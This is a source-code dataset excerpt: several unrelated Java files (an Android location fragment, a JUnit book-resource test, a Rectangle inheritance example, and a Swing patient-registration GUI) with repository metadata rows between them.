* @since 2.8.0
*/
private void initLocation() {
//初始化client
locationClient = new AMapLocationClient(getActivity().getApplicationContext());
//设置定位参数
locationClient.setLocationOption(getDefaultOption());
// 设置定位监听
locationClient.setLocationListener(aMapLocation -> {
if (null != aMapLocation && aMapLocation.getLatitude() != 0 && aMapLocation.getLongitude() != 0) {
LatLng now = new LatLng(aMapLocation.getLatitude(), aMapLocation.getLongitude());
Timber.i(TAG + String.format("init loc, lat=%f, lon=%f", now.latitude, now.longitude));
aMap.animateCamera(CameraUpdateFactory.newCameraPosition(new CameraPosition(
now, 15, 0, 0)));
locationClient.stopLocation();
} else {
LogUtils.warnInfo(tag, "location failed");
}
});
locationClient.startLocation();
}
/**
* 默认的定位参数
*
* @author hongming.wang
* @since 2.8.0
*/
private AMapLocationClientOption getDefaultOption() {
mOption.setLocationMode(AMapLocationClientOption.AMapLocationMode.Hight_Accuracy);//可选,设置定位模式,可选的模式有高精度、仅设备、仅网络。默认为高精度模式
mOption.setGpsFirst(false);//可选,设置是否gps优先,只在高精度模式下有效。默认关闭
mOption.setHttpTimeOut(30000);//可选,设置网络请求超时时间。默认为30秒。在仅设备模式下无效
mOption.setInterval(2000);//可选,设置定位间隔。默认为2秒
mOption.setNeedAddress(true);//可选,设置是否返回逆地理地址信息。默认是true
mOption.setOnceLocation(false);//可选,设置是否单次定位。默认是false
mOption.setOnceLocationLatest(false);//可选,设置是否等待wifi刷新,默认为false.如果设置为true,会自动变为单次定位,持续定位时不要使用
AMapLocationClientOption.setLocationProtocol(AMapLocationClientOption.AMapLocationProtocol.HTTP);//可选, 设置网络请求的协议。可选HTTP或者HTTPS。默认为HTTP
mOption.setSensorEnable(false);//可选,设置是否使用传感器。默认是false
mOption.setWifiScan(true); //可选,设置是否开启wifi扫描。默认为true,如果设置为false会同时停止主动刷新,停止以后完全依赖于系统刷新,定位位置可能存在误差
mOption.setLocationCacheEnable(true); //可选,设置是否使用缓存定位,默认为true
return mOption;
}
@Override
public void showLoading() {
}
@Override
public void hideLoading() {
}
@Override
public void showMessage(String message) {
UiUtils.snackbarText(message);
}
@Override
public void launchActivity(Intent intent) {
}
@Override
public void killMyself() {
}
@Override
public void onClick(View v) {
if (v.getId() == R.id.bt_start) {
typeLayout.setVisibility(View.VISIBLE);
} else if (v.getId() == R.id.bt_stop) {
startBt.setVisibility(View.VISIBLE);
stopBt.setVisibility(View.GONE);
DataHelper.setBooleanSF(this.getActivity(), AppCache.instance().KEY_IS_RECORDING, false);
} else {
showMessage(((Button)v).getText() + "");
typeLayout.setVisibility(View.GONE);
startBt.setVisibility(View.GONE);
stopBt.setVisibility(View.VISIBLE);
DataHelper.setBooleanSF(this.getActivity(), AppCache.instance().KEY_IS_RECORDING, true);
}
}
}
| 9,188 | 0.665148 | 0.656973 | 264 | 31.431818 | 26.934319 | 142 | false | false | 0 | 0 | 0 | 0 | 0 | 0 | 0.556818 | false | false | 14 |
30d988835f7302264ed28683c56aec58c3581e7e | 38,878,044,000,779 | 48297fed6ae9555e05e62bba2224337175ee00b6 | /src/test/java/com/kainos/drillone/resources/BookResourceTest.java | d9e20ea1540f09902a7d43e98e031466d8753a1f | []
| no_license | kainos-training/tdp-drill-one | https://github.com/kainos-training/tdp-drill-one | 282cd1a632071c981a76591f3175dafb2b828c0b | fbbfac6e66c3f0baf995937e12c0553da23d1b18 | refs/heads/master | 2020-09-18T17:10:41.427000 | 2016-09-08T14:55:24 | 2016-09-08T14:55:24 | 67,492,083 | 0 | 0 | null | false | 2016-09-08T14:55:25 | 2016-09-06T09:06:27 | 2016-09-06T12:21:11 | 2016-09-08T14:55:24 | 420 | 0 | 0 | 1 | Java | null | null |
package com.kainos.drillone.resources;
import com.kainos.drillone.DataStore;
import com.kainos.drillone.config.DrillOneConfiguration;
import com.kainos.drillone.models.Book;
import com.kainos.drillone.views.BookAddView;
import com.kainos.drillone.views.LibrarianView;
import org.assertj.core.util.Lists;
import org.junit.Before;
import org.junit.Test;
import javax.ws.rs.WebApplicationException;
import java.util.ArrayList;
import java.util.List;
import static org.hamcrest.CoreMatchers.instanceOf;
import static org.hamcrest.core.Is.is;
import static org.junit.Assert.assertEquals;
import static org.junit.Assert.assertThat;
import static org.mockito.Mockito.*;
/**
* Created by christopherg on 07/09/2016.
*/
public class BookResourceTest {
private DrillOneConfiguration configuration;
private DataStore dataStore;
private BookResource resource;
@Before
public void setup(){
configuration = new DrillOneConfiguration();
dataStore = mock(DataStore.class);
resource = new BookResource(dataStore, configuration);
}
@Test
public void Index_WhenCalledForEmptyList_ReturnsViewWithEmptyList(){
when(dataStore.getBooks()).thenReturn(new ArrayList<Book>());
LibrarianView view = (LibrarianView)resource.LibrarianView();
verify(dataStore).getBooks();
assertEquals(view.getLibrary().size(), 0);
assertEquals("/Views/book/books.ftl", view.getTemplateName());
}
@Test
public void Index_WhenCalledForEmptyList_ReturnsViewWithPopulatedList(){
List<Book> books = new ArrayList<Book>();
Book book = new Book();
book.setIsbnTen("1234567890");
book.setIsbnThirteen("1234567890123");
book.setTitle("programming 101");
book.setAuthorFirstName("chris");
book.setAuthorSurname("gill");
book.setId(1);
books.add(book);
book = new Book();
book.setIsbnTen("1234567540");
book.setIsbnThirteen("12345as790123");
book.setTitle("agile 101");
book.setAuthorFirstName("chris");
book.setAuthorSurname("gill");
book.setId(2);
books.add(book);
when(dataStore.getBooks()).thenReturn(books);
LibrarianView view = (LibrarianView)resource.LibrarianView();
verify(dataStore).getBooks();
assertEquals(view.getLibrary().size(), 2);
assertEquals("1234567540", books.get(1).getIsbnTen());
assertEquals("12345as790123", books.get(1).getIsbnThirteen());
assertEquals("agile 101", books.get(1).getTitle());
assertEquals("chris", books.get(1).getAuthorFirstName());
assertEquals("gill", books.get(1).getAuthorSurname());
assertEquals(2, books.get(1).getId());
assertEquals("/Views/book/books.ftl", view.getTemplateName());
}
@Test
public void AddBook_WhenTitleEmpty_ReturnsToBookAddView(){
List<String> errors = Lists.newArrayList();
assertThat(resource.AddBook("", "Aoife", "Finnegan", "1234567890", "978-1234567890*"), is(instanceOf(BookAddView.class)));
}
@Test(expected = WebApplicationException.class)
public void AddBook_WhenCorrectDetailsEntered_WebApplicationExceptionThrown() {
resource.AddBook("Test", "Aoife", "Finnegan", "1234567890", "978-1234567890*");
}
}
| UTF-8 | Java | 3,319 | java | BookResourceTest.java | Java | [
{
"context": "t static org.mockito.Mockito.*;\n\n/**\n * Created by christopherg on 07/09/2016.\n */\npublic class BookResourceTest ",
"end": 698,
"score": 0.9975569844245911,
"start": 686,
"tag": "USERNAME",
"value": "christopherg"
},
{
"context": "ogramming 101\");\n book.setAuthorFirstName(\"chris\");\n book.setAuthorSurname(\"gill\");\n ",
"end": 1794,
"score": 0.9964089393615723,
"start": 1789,
"tag": "NAME",
"value": "chris"
},
{
"context": "rstName(\"chris\");\n book.setAuthorSurname(\"gill\");\n book.setId(1);\n books.add(book)",
"end": 1833,
"score": 0.9899531006813049,
"start": 1830,
"tag": "NAME",
"value": "ill"
},
{
"context": "le(\"agile 101\");\n book.setAuthorFirstName(\"chris\");\n book.setAuthorSurname(\"gill\");\n ",
"end": 2072,
"score": 0.9997307062149048,
"start": 2067,
"tag": "NAME",
"value": "chris"
},
{
"context": "irstName(\"chris\");\n book.setAuthorSurname(\"gill\");\n book.setId(2);\n books.add(book)",
"end": 2111,
"score": 0.999180793762207,
"start": 2107,
"tag": "NAME",
"value": "gill"
},
{
"context": ", books.get(1).getTitle());\n assertEquals(\"chris\", books.get(1).getAuthorFirstName());\n ass",
"end": 2597,
"score": 0.9673701524734497,
"start": 2592,
"tag": "NAME",
"value": "chris"
},
{
"context": "(1).getAuthorFirstName());\n assertEquals(\"gill\", books.get(1).getAuthorSurname());\n asser",
"end": 2662,
"score": 0.8917925953865051,
"start": 2659,
"tag": "NAME",
"value": "ill"
}
]
| null | []
|
package com.kainos.drillone.resources;
import com.kainos.drillone.DataStore;
import com.kainos.drillone.config.DrillOneConfiguration;
import com.kainos.drillone.models.Book;
import com.kainos.drillone.views.BookAddView;
import com.kainos.drillone.views.LibrarianView;
import org.assertj.core.util.Lists;
import org.junit.Before;
import org.junit.Test;
import javax.ws.rs.WebApplicationException;
import java.util.ArrayList;
import java.util.List;
import static org.hamcrest.CoreMatchers.instanceOf;
import static org.hamcrest.core.Is.is;
import static org.junit.Assert.assertEquals;
import static org.junit.Assert.assertThat;
import static org.mockito.Mockito.*;
/**
* Created by christopherg on 07/09/2016.
*/
public class BookResourceTest {
private DrillOneConfiguration configuration;
private DataStore dataStore;
private BookResource resource;
@Before
public void setup(){
configuration = new DrillOneConfiguration();
dataStore = mock(DataStore.class);
resource = new BookResource(dataStore, configuration);
}
@Test
public void Index_WhenCalledForEmptyList_ReturnsViewWithEmptyList(){
when(dataStore.getBooks()).thenReturn(new ArrayList<Book>());
LibrarianView view = (LibrarianView)resource.LibrarianView();
verify(dataStore).getBooks();
assertEquals(view.getLibrary().size(), 0);
assertEquals("/Views/book/books.ftl", view.getTemplateName());
}
@Test
public void Index_WhenCalledForEmptyList_ReturnsViewWithPopulatedList(){
List<Book> books = new ArrayList<Book>();
Book book = new Book();
book.setIsbnTen("1234567890");
book.setIsbnThirteen("1234567890123");
book.setTitle("programming 101");
book.setAuthorFirstName("chris");
book.setAuthorSurname("gill");
book.setId(1);
books.add(book);
book = new Book();
book.setIsbnTen("1234567540");
book.setIsbnThirteen("12345as790123");
book.setTitle("agile 101");
book.setAuthorFirstName("chris");
book.setAuthorSurname("gill");
book.setId(2);
books.add(book);
when(dataStore.getBooks()).thenReturn(books);
LibrarianView view = (LibrarianView)resource.LibrarianView();
verify(dataStore).getBooks();
assertEquals(view.getLibrary().size(), 2);
assertEquals("1234567540", books.get(1).getIsbnTen());
assertEquals("12345as790123", books.get(1).getIsbnThirteen());
assertEquals("agile 101", books.get(1).getTitle());
assertEquals("chris", books.get(1).getAuthorFirstName());
assertEquals("gill", books.get(1).getAuthorSurname());
assertEquals(2, books.get(1).getId());
assertEquals("/Views/book/books.ftl", view.getTemplateName());
}
@Test
public void AddBook_WhenTitleEmpty_ReturnsToBookAddView(){
List<String> errors = Lists.newArrayList();
assertThat(resource.AddBook("", "Aoife", "Finnegan", "1234567890", "978-1234567890*"), is(instanceOf(BookAddView.class)));
}
@Test(expected = WebApplicationException.class)
public void AddBook_WhenCorrectDetailsEntered_WebApplicationExceptionThrown() {
resource.AddBook("Test", "Aoife", "Finnegan", "1234567890", "978-1234567890*");
}
}
| 3,319 | 0.692377 | 0.650497 | 86 | 37.581394 | 24.587038 | 130 | false | false | 0 | 0 | 0 | 0 | 0 | 0 | 0.918605 | false | false | 14 |
73e1edaadc954bf480b4ab3b9bbcb8b85b52d53a | 35,545,149,382,434 | 4f6b231b6e970ad7deb4ae792e3ba924db60738e | /src/Inheritance/Rectangle.java | 2a57cb2d05577535f9ff56e1e3b727c5d800067c | []
| no_license | Emaneliforp/Java-DS | https://github.com/Emaneliforp/Java-DS | 2038c21d0fb1447d632d9fb22edaf3fea91abb1a | f4b7543f5155835457daeb909eaf6d9444608f0b | refs/heads/main | 2023-08-04T05:11:05.358000 | 2021-09-15T07:31:12 | 2021-09-15T07:31:12 | 402,522,862 | 0 | 0 | null | null | null | null | null | null | null | null | null | null | null | null | null | package Lectures.Inheritance;
import org.w3c.dom.css.Rect;
public class Rectangle extends Shape{
int width;
int length;
Rectangle(){
super();
this.width = 0;
this.length = 0;
}
Rectangle(String color, int width, int length){
super("Rectangle", 4, color);
this.width = width;
this.length = length;
}
@Override
public String toString(){
return "name: " + super.name + "\ncorner: " + super.corner +"\ncolor: " + super.color
+ "\nwidth: " + this.width + "\nlength: " + this.length;
}
public void print(){
System.out.println(this.toString());
}
public int area(){
return this.width * this.length;
}
public static void main(String[] args){
Rectangle s1 = new Rectangle("blue", 3, 5);
//s1.print();
//System.out.println(s1.area());
Shape s3 = new Shape("Circle", 0, "green");
//System.out.println(s3.width);
Shape s2 = new Rectangle("yellow", 2, 4);
Rectangle reals2 = (Rectangle) s2;
//System.out.println(s1.width);
System.out.println(reals2.width);
}
}
| UTF-8 | Java | 1,175 | java | Rectangle.java | Java | []
| null | []
| package Lectures.Inheritance;
import org.w3c.dom.css.Rect;
public class Rectangle extends Shape{
int width;
int length;
Rectangle(){
super();
this.width = 0;
this.length = 0;
}
Rectangle(String color, int width, int length){
super("Rectangle", 4, color);
this.width = width;
this.length = length;
}
@Override
public String toString(){
return "name: " + super.name + "\ncorner: " + super.corner +"\ncolor: " + super.color
+ "\nwidth: " + this.width + "\nlength: " + this.length;
}
public void print(){
System.out.println(this.toString());
}
public int area(){
return this.width * this.length;
}
public static void main(String[] args){
Rectangle s1 = new Rectangle("blue", 3, 5);
//s1.print();
//System.out.println(s1.area());
Shape s3 = new Shape("Circle", 0, "green");
//System.out.println(s3.width);
Shape s2 = new Rectangle("yellow", 2, 4);
Rectangle reals2 = (Rectangle) s2;
//System.out.println(s1.width);
System.out.println(reals2.width);
}
}
| 1,175 | 0.556596 | 0.540426 | 45 | 25.111111 | 20.958395 | 93 | false | false | 0 | 0 | 0 | 0 | 0 | 0 | 0.711111 | false | false | 14 |
6e886653fa418697685fac87712925c70cb25e57 | 38,388,417,706,040 | f9cd88fdc810984ffff12271de86f688c49139b0 | /src/view/InterfacePaciente.java | 2f9e3b831e203d32b5419bd3edb7ff6446199158 | []
| no_license | luiz3g/projeto-banco-de-dados | https://github.com/luiz3g/projeto-banco-de-dados | 2c67611d7678cf442479ec30cac2737f7d073171 | 2b675b2f86c7dcd7a85e19645093d7f4223c53e3 | refs/heads/master | 2020-05-17T04:05:14.015000 | 2019-05-14T19:11:11 | 2019-05-14T19:11:11 | null | 0 | 0 | null | null | null | null | null | null | null | null | null | null | null | null | null | package view;
import java.awt.Dimension;
import java.awt.FlowLayout;
import java.awt.GridLayout;
import java.text.ParseException;
import java.util.ArrayList;
import javax.swing.JButton;
import javax.swing.JComboBox;
import javax.swing.JFormattedTextField;
import javax.swing.JFrame;
import javax.swing.JLabel;
import javax.swing.JOptionPane;
import javax.swing.JPanel;
import javax.swing.JScrollPane;
import javax.swing.JTable;
import javax.swing.JTextField;
import javax.swing.table.DefaultTableModel;
import javax.swing.text.MaskFormatter;
import controller.ControllerPaciente;
import model.Paciente;
public class InterfacePaciente {
ControllerPaciente controllerPaciente = new ControllerPaciente();
public void cadastrarpaciente() {
JPanel cadastrarPaciente = new JPanel();
cadastrarPaciente.setLayout(new GridLayout(11, 2, -5, 3));
JFrame janelaCadastrarPaciente = new JFrame("Cadastrar");
janelaCadastrarPaciente.setSize(560, 410);
janelaCadastrarPaciente.setLocationRelativeTo(null);
janelaCadastrarPaciente.setVisible(true);
janelaCadastrarPaciente.add(cadastrarPaciente);
JLabel lblNome = new JLabel("Nome: ");
JTextField txtNome = new JTextField(20);
MaskFormatter maskcpf = null;
try {
maskcpf = new MaskFormatter("###.###.###-##");
} catch (Exception e) {
e.printStackTrace();
}
JLabel lblcpf = new JLabel("CPF: ");
JFormattedTextField txtcpf = new JFormattedTextField(maskcpf);
JComboBox<String> ComboSexo = new JComboBox<String>();
ComboSexo.addItem("M");
ComboSexo.addItem("F");
ComboSexo.setSelectedItem(null);
JLabel lblSexo = new JLabel("Sexo: ");
JLabel lblemail = new JLabel("Email: ");
JTextField txtemail = new JTextField(100);
JLabel lbltelefone = new JLabel("Telefone: ");
MaskFormatter masktelefone = null;
try {
masktelefone = new MaskFormatter("(##)#####-####");
} catch (Exception e) {
e.printStackTrace();
}
JFormattedTextField txttelefone = new JFormattedTextField(masktelefone);
JLabel lblrua = new JLabel("Rua: ");
JTextField txtrua = new JTextField(100);
JLabel lblnumero = new JLabel("Numero: ");
JTextField txtnumero = new JTextField(100);
JLabel lblbairro = new JLabel("Bairro: ");
JTextField txtbairro = new JTextField(100);
JLabel lblcidade = new JLabel("Cidade: ");
JTextField txtcidade = new JTextField(100);
JLabel lbldatanascimento = new JLabel("Data Nascimento: ");
MaskFormatter masknascimento = null;
try {
masknascimento = new MaskFormatter("##/##/####");
} catch (ParseException e) {
e.printStackTrace();
}
JFormattedTextField txtnascimento = new JFormattedTextField(masknascimento);
JButton btnCadastrar = new JButton("Cadastrar");
JButton btnFecharcadastro = new JButton("Fechar Cadastro");
cadastrarPaciente.add(lblNome);
cadastrarPaciente.add(txtNome);
cadastrarPaciente.add(lblcpf);
cadastrarPaciente.add(txtcpf);
cadastrarPaciente.add(lblSexo);
cadastrarPaciente.add(ComboSexo);
cadastrarPaciente.add(lblemail);
cadastrarPaciente.add(txtemail);
cadastrarPaciente.add(lbltelefone);
cadastrarPaciente.add(txttelefone);
cadastrarPaciente.add(lblrua);
cadastrarPaciente.add(txtrua);
cadastrarPaciente.add(lblnumero);
cadastrarPaciente.add(txtnumero);
cadastrarPaciente.add(lblbairro);
cadastrarPaciente.add(txtbairro);
cadastrarPaciente.add(lblcidade);
cadastrarPaciente.add(txtcidade);
cadastrarPaciente.add(lbldatanascimento);
cadastrarPaciente.add(txtnascimento);
cadastrarPaciente.add(btnCadastrar);
cadastrarPaciente.add(btnFecharcadastro);
btnCadastrar.addActionListener((ActionEvent) -> {
try {
controllerPaciente.cadastrarPaciente(txtNome.getText(), txtcpf.getText(),
(String) ComboSexo.getSelectedItem(), txtemail.getText(), txttelefone.getText(),
txtrua.getText(), txtnumero.getText(), txtbairro.getText(), txtcidade.getText(),
txtnascimento.getText());
JOptionPane.showMessageDialog(null, "Paciente Cadastrado com Sucesso", "sucesso",
JOptionPane.INFORMATION_MESSAGE);
txtNome.setText(null);
txtcpf.setText(null);
ComboSexo.setSelectedItem(null);
txtemail.setText(null);
txttelefone.setText(null);
txtrua.setText(null);
txtnumero.setText(null);
txtbairro.setText(null);
txtcidade.setText(null);
txtnascimento.setText(null);
} catch (Exception e) {
JOptionPane.showMessageDialog(null, "Erro Paciente não cadastrado", "Erro", JOptionPane.ERROR_MESSAGE);
}
});
btnFecharcadastro.addActionListener((ActionEvent) -> {
janelaCadastrarPaciente.dispose();
});
}
public void editarpaciente() {
JPanel editarPaciente = new JPanel();
editarPaciente.setLayout(new GridLayout(13, 2, -1, 3));
JFrame janelaEditarPaciente = new JFrame("Editar");
janelaEditarPaciente.setSize(560, 480);
janelaEditarPaciente.setLocationRelativeTo(null);
janelaEditarPaciente.setVisible(true);
janelaEditarPaciente.add(editarPaciente);
JLabel lblid = new JLabel("ID: ");
JTextField txtid = new JTextField(100);
JButton botaobuscar = new JButton("Buscar");
JLabel lblNome = new JLabel("Nome: ");
JTextField txtNome = new JTextField(100);
MaskFormatter maskcpf = null;
try {
maskcpf = new MaskFormatter("###.###.###-##");
} catch (Exception e) {
e.printStackTrace();
}
JLabel lblcpf = new JLabel("CPF");
JFormattedTextField txtcpf = new JFormattedTextField(maskcpf);
JComboBox<String> ComboSexo = new JComboBox<String>();
ComboSexo.addItem("M");
ComboSexo.addItem("F");
ComboSexo.setSelectedItem(null);
JLabel lblSexo = new JLabel("Sexo: ");
JLabel lblemail = new JLabel("Email: ");
JTextField txtemail = new JTextField(100);
JLabel lbltelefone = new JLabel("Telefone: ");
MaskFormatter masktelefone = null;
try {
masktelefone = new MaskFormatter("(##)#####-####");
} catch (Exception e) {
e.printStackTrace();
}
JFormattedTextField txttelefone = new JFormattedTextField(masktelefone);
JLabel lblrua = new JLabel("Rua: ");
JTextField txtrua = new JTextField();
JLabel lblnumero = new JLabel("Numero: ");
JTextField txtnumero = new JTextField(100);
JLabel lblbairro = new JLabel("Bairro: ");
JTextField txtbairro = new JTextField(100);
JLabel lblcidade = new JLabel("Cidade: ");
JTextField txtcidade = new JTextField(100);
JLabel lbldatanascimento = new JLabel("Data Nascimento: ");
MaskFormatter masknascimento = null;
try {
masknascimento = new MaskFormatter("##/##/####");
} catch (ParseException e) {
e.printStackTrace();
}
JFormattedTextField txtnascimento = new JFormattedTextField(masknascimento);
JButton editar = new JButton("Editar");
JButton fecharRemocao = new JButton("Fechar Tela");
editarPaciente.add(lblid);
editarPaciente.add(txtid);
editarPaciente.add(botaobuscar);
editarPaciente.add(new JLabel());
editarPaciente.add(lblNome);
editarPaciente.add(txtNome);
editarPaciente.add(lblcpf);
editarPaciente.add(txtcpf);
editarPaciente.add(lblSexo);
editarPaciente.add(ComboSexo);
editarPaciente.add(lblemail);
editarPaciente.add(txtemail);
editarPaciente.add(lbltelefone);
editarPaciente.add(txttelefone);
editarPaciente.add(lblrua);
editarPaciente.add(txtrua);
editarPaciente.add(lblnumero);
editarPaciente.add(txtnumero);
editarPaciente.add(lblbairro);
editarPaciente.add(txtbairro);
editarPaciente.add(lblcidade);
editarPaciente.add(txtcidade);
editarPaciente.add(lbldatanascimento);
editarPaciente.add(txtnascimento);
editarPaciente.add(editar);
editarPaciente.add(fecharRemocao);
editar.setEnabled(false);
botaobuscar.addActionListener(ActionEvent -> {
try {
Paciente paciente = new Paciente();
Long idtemp = (long) Integer.parseInt(txtid.getText());
paciente = controllerPaciente.buscarPaciente(idtemp);
txtNome.setText(paciente.getNome());
txtcpf.setText(paciente.getCpf());
ComboSexo.setSelectedItem(paciente.getSexo());
txtemail.setText(paciente.getEmail());
txttelefone.setText(paciente.getTelefonePaciente().getNumero());
txtrua.setText(paciente.getEnderecoPaciente().getRua());
txtnumero.setText(paciente.getEnderecoPaciente().getNumero());
txtbairro.setText(paciente.getEnderecoPaciente().getBairro());
txtcidade.setText(paciente.getEnderecoPaciente().getCidade());
txtnascimento.setText(paciente.getNascimento());
editar.setEnabled(true);
} catch (Exception e) {
JOptionPane.showMessageDialog(botaobuscar, "Paciente não encontrado", "Erro",
JOptionPane.ERROR_MESSAGE);
}
});
editar.addActionListener(ActionEvent -> {
int opc = JOptionPane.showConfirmDialog(null, "Deseja realmente editar o Paciente " + txtNome.getText(), "",
JOptionPane.YES_NO_OPTION);
if (opc == JOptionPane.YES_OPTION) {
Long idtemp = (long) Integer.parseInt(txtid.getText());
controllerPaciente.atualizarpaciente(idtemp, txtNome.getText(), txtcpf.getText(),
(String) ComboSexo.getSelectedItem(), txtemail.getText(), txttelefone.getText(),
txtrua.getText(), txtnumero.getText(), txtbairro.getText(), txtcidade.getText(),
txtnascimento.getText());
JOptionPane.showMessageDialog(null, "Paciente Editado com Sucesso", "Sucesso",
JOptionPane.INFORMATION_MESSAGE);
} else {
JOptionPane.showMessageDialog(null, "Edição Cancelada Com Sucesso", "Erro", JOptionPane.CLOSED_OPTION);
}
});
fecharRemocao.addActionListener((ActionEvent) -> {
janelaEditarPaciente.dispose();
});
}
public void removerpaciente() {
JPanel editarPaciente = new JPanel();
editarPaciente.setLayout(new GridLayout(13, 2, -1, 3));
JFrame janelaRemoverPaciente = new JFrame("Remover");
janelaRemoverPaciente.setSize(560, 480);
janelaRemoverPaciente.setLocationRelativeTo(null);
janelaRemoverPaciente.setVisible(true);
janelaRemoverPaciente.add(editarPaciente);
JLabel lblid = new JLabel("ID: ");
JTextField txtid = new JTextField(100);
JButton botaobuscar = new JButton("Buscar");
JLabel lblNome = new JLabel("Nome: ");
JTextField txtNome = new JTextField(20);
MaskFormatter maskcpf = null;
try {
maskcpf = new MaskFormatter("###.###.###-##");
} catch (Exception e) {
e.printStackTrace();
}
JLabel lblcpf = new JLabel("CPF");
JFormattedTextField txtcpf = new JFormattedTextField(maskcpf);
JTextField txtsexo = new JTextField(5);
JLabel lblSexo = new JLabel("Sexo: ");
JLabel lblemail = new JLabel("Email: ");
JTextField txtemail = new JTextField(100);
JLabel lbltelefone = new JLabel("Telefone: ");
MaskFormatter masktelefone = null;
try {
masktelefone = new MaskFormatter("(##)#####-####");
} catch (Exception e) {
e.printStackTrace();
}
JFormattedTextField txttelefone = new JFormattedTextField(masktelefone);
JLabel lblrua = new JLabel("Rua: ");
JTextField txtrua = new JTextField(100);
JLabel lblnumero = new JLabel("Numero: ");
JTextField txtnumero = new JTextField(100);
JLabel lblbairro = new JLabel("Bairro: ");
JTextField txtbairro = new JTextField(100);
JLabel lblcidade = new JLabel("Cidade: ");
JTextField txtcidade = new JTextField(100);
JLabel lbldatanascimento = new JLabel("Data Nascimento: ");
MaskFormatter masknascimento = null;
try {
masknascimento = new MaskFormatter("##/##/####");
} catch (ParseException e) {
e.printStackTrace();
}
JFormattedTextField txtnascimento = new JFormattedTextField(masknascimento);
JButton remover = new JButton("Remover");
JButton fechartela = new JButton("Fechar Tela");
editarPaciente.add(lblid);
editarPaciente.add(txtid);
editarPaciente.add(botaobuscar);
editarPaciente.add(new JLabel());
editarPaciente.add(lblNome);
editarPaciente.add(txtNome);
editarPaciente.add(lblcpf);
editarPaciente.add(txtcpf);
editarPaciente.add(lblSexo);
editarPaciente.add(txtsexo);
editarPaciente.add(lblemail);
editarPaciente.add(txtemail);
editarPaciente.add(lbltelefone);
editarPaciente.add(txttelefone);
editarPaciente.add(lblrua);
editarPaciente.add(txtrua);
editarPaciente.add(lblnumero);
editarPaciente.add(txtnumero);
editarPaciente.add(lblbairro);
editarPaciente.add(txtbairro);
editarPaciente.add(lblcidade);
editarPaciente.add(txtcidade);
editarPaciente.add(lbldatanascimento);
editarPaciente.add(txtnascimento);
editarPaciente.add(remover);
editarPaciente.add(fechartela);
txtNome.setBorder(null);
txtcpf.setBorder(null);
txtsexo.setBorder(null);
txtemail.setBorder(null);
txttelefone.setBorder(null);
txtrua.setBorder(null);
txtnumero.setBorder(null);
txtbairro.setBorder(null);
txtcidade.setBorder(null);
txtnascimento.setBorder(null);
txtNome.setEditable(false);
txtcpf.setEditable(false);
txtsexo.setEditable(false);
txtemail.setEditable(false);
txttelefone.setEditable(false);
txtrua.setEditable(false);
txtnumero.setEditable(false);
txtbairro.setEditable(false);
txtcidade.setEditable(false);
txtnascimento.setEditable(false);
txtNome.setFont(txtNome.getFont().deriveFont(14f));
txtcpf.setFont(txtcpf.getFont().deriveFont(14f));
txtsexo.setFont(txtsexo.getFont().deriveFont(14f));
txtemail.setFont(txtemail.getFont().deriveFont(14f));
txttelefone.setFont(txttelefone.getFont().deriveFont(14f));
txtrua.setFont(txtrua.getFont().deriveFont(14f));
txtnumero.setFont(txtnumero.getFont().deriveFont(14f));
txtbairro.setFont(txtbairro.getFont().deriveFont(14f));
txtcidade.setFont(txtcidade.getFont().deriveFont(14f));
txtnascimento.setFont(txtnascimento.getFont().deriveFont(14f));
botaobuscar.addActionListener(ActionEvent -> {
try {
Paciente paciente = new Paciente();
Long idtemp = (long) Integer.parseInt(txtid.getText());
paciente = controllerPaciente.buscarPaciente(idtemp);
txtNome.setText(paciente.getNome());
txtcpf.setText(paciente.getCpf());
txtsexo.setText(paciente.getSexo());
txtemail.setText(paciente.getEmail());
txttelefone.setText(paciente.getTelefonePaciente().getNumero());
txtrua.setText(paciente.getEnderecoPaciente().getRua());
txtnumero.setText(paciente.getEnderecoPaciente().getNumero());
txtbairro.setText(paciente.getEnderecoPaciente().getBairro());
txtcidade.setText(paciente.getEnderecoPaciente().getCidade());
txtnascimento.setText(paciente.getNascimento());
} catch (Exception e) {
JOptionPane.showMessageDialog(botaobuscar, "Paciente não encontrado", "Erro",
JOptionPane.ERROR_MESSAGE);
}
});
remover.addActionListener((ActionEvent) -> {
int opc = JOptionPane.showConfirmDialog(null, "Deseja Realmente Remover o Paciente " + txtNome.getText(),
"", JOptionPane.YES_NO_OPTION);
if (opc == JOptionPane.YES_OPTION) {
int idtemp = Integer.parseInt(txtid.getText());
controllerPaciente.removerpaciente(idtemp);
JOptionPane.showMessageDialog(null, "Paciente removido com sucesso", "Sucesso",
JOptionPane.INFORMATION_MESSAGE);
} else {
JOptionPane.showMessageDialog(null, "Remoção Cancelada com sucesso", "Erro", JOptionPane.ERROR_MESSAGE);
}
});
fechartela.addActionListener((ActionEvent) -> {
janelaRemoverPaciente.dispose();
});
}
public void listarpaciente() {
JTextField txtId = new JTextField(100);
JTextField txtNome = new JTextField(100);
JTextField txtcpf = new JTextField(100);
JTextField txtsexo = new JTextField(100);
JTextField txtEmail = new JTextField(100);
JTextField txtTelefone = new JTextField(100);
JTextField txtRua = new JTextField(100);
JTextField txtNumero = new JTextField(100);
JTextField txtBairro = new JTextField(100);
JTextField txtCidade = new JTextField(100);
JTextField txtDataNascimento = new JTextField(100);
DefaultTableModel tabelaPaciente = new DefaultTableModel(null, new String[] { "ID", "Nome", "CPF", "Sexo",
"Email", "Telefone", "Rua", "Numero", "Bairro", "Cidade", "Data Nascimento" });
// String[] elementosvazio = { "Vazio", "Vazio", "Vazio", "Vazio", "Vazio",
// "Vazio", "Vazio", "Vazio", "Vazio",
// "Vazio", "Vazio" };
ArrayList<Paciente> list = controllerPaciente.listarpaciente();
for (Paciente paciente : list) {
String idtemp = Long.toString(paciente.getId());
txtId.setText(idtemp);
txtNome.setText(paciente.getNome());
txtcpf.setText(paciente.getCpf());
txtsexo.setText(paciente.getSexo());
txtEmail.setText(paciente.getEmail());
txtTelefone.setText(paciente.getTelefonePaciente().getNumero());
txtRua.setText(paciente.getEnderecoPaciente().getRua());
txtNumero.setText(paciente.getEnderecoPaciente().getNumero());
txtBairro.setText(paciente.getEnderecoPaciente().getBairro());
txtCidade.setText(paciente.getEnderecoPaciente().getCidade());
txtDataNascimento.setText(paciente.getNascimento());
tabelaPaciente.addRow(new String[] { txtId.getText(), txtNome.getText(), txtcpf.getText(),
txtsexo.getText(), txtEmail.getText(), txtTelefone.getText(), txtRua.getText(), txtNumero.getText(),
txtBairro.getText(), txtCidade.getText(), txtDataNascimento.getText() });
}
JPanel listarPaciente = new JPanel();
listarPaciente.setLayout(new FlowLayout());
JTable tabela = new JTable(tabelaPaciente);
tabela.getColumnModel().getColumn(0).setPreferredWidth(2);
tabela.getColumnModel().getColumn(1).setPreferredWidth(140);
